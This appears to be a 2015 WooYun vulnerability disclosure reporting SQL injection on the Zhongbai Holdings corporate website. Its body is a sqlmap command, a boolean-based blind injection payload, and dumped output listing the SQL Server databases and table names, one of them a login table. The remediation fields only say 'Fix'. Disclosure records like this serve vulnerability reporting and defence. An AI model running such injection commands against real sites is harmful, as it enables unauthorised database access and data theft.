漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0162262
漏洞标题：中国500强之中百控股集团股份有限公司主站SQL注入一枚
相关厂商：中百控股集团股份有限公司
漏洞作者： 逆流冰河
提交时间：2015-12-20 13:24
修复时间：2016-02-07 18:35
公开时间：2016-02-07 18:35
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：11
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-20： 细节已通知厂商并且等待厂商处理中
2015-12-24： 厂商已经确认，细节仅向厂商公开
2016-01-03： 细节向核心白帽子及相关领域专家公开
2016-01-13： 细节向普通白帽子公开
2016-01-23： 细节向实习白帽子公开
2016-02-07： 细节向公众公开
简要描述：
如题
详细说明：
1,注入信息:
sqlmap -u "http://**.**.**.**/myAction.do?method=execute2&id=3617*" --batch
2,poc
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/myAction.do?method=execute2&id=3617' AND 4240=4240 AND 'CplO'='CplO
---
[23:41:13] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] WHZB
3,表
Database: WHZB
+-------------------------+---------+
| Table | Entries |
+-------------------------+---------+
| dbo.xwzx | 2570 |
| dbo.pangolin_test_table | 2194 |
| dbo.xs_dz | 1068 |
| dbo.image | 660 |
| dbo.tzgl | 431 |
| dbo.g_dsj | 32 |
| dbo.D99_Tmp | 28 |
| dbo.year | 26 |
| dbo.jiaozhu | 14 |
| dbo.Tmp | 10 |
| dbo.D99_CMD | 9 |
| dbo.images | 9 |
| dbo.jlr | 9 |
| dbo.g_xsgs | 8 |
| dbo.jmzn | 4 |
| dbo.rwfc | 3 |
| dbo.temp | 3 |
| dbo.D99_REG | 1 |
| dbo.g_jtgk | 1 |
| dbo.g_lxwm | 1 |
| dbo.login | 1 |
+-------------------------+---------+
漏洞证明：
Fix
修复方案：
Fix
版权声明：转载请注明来源 逆流冰河@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-12-24 18:34
厂商回复：
CNVD未直接复现所述情况，暂未建立与网站管理单位的直接处置渠道，待认领。
最新状态：
暂无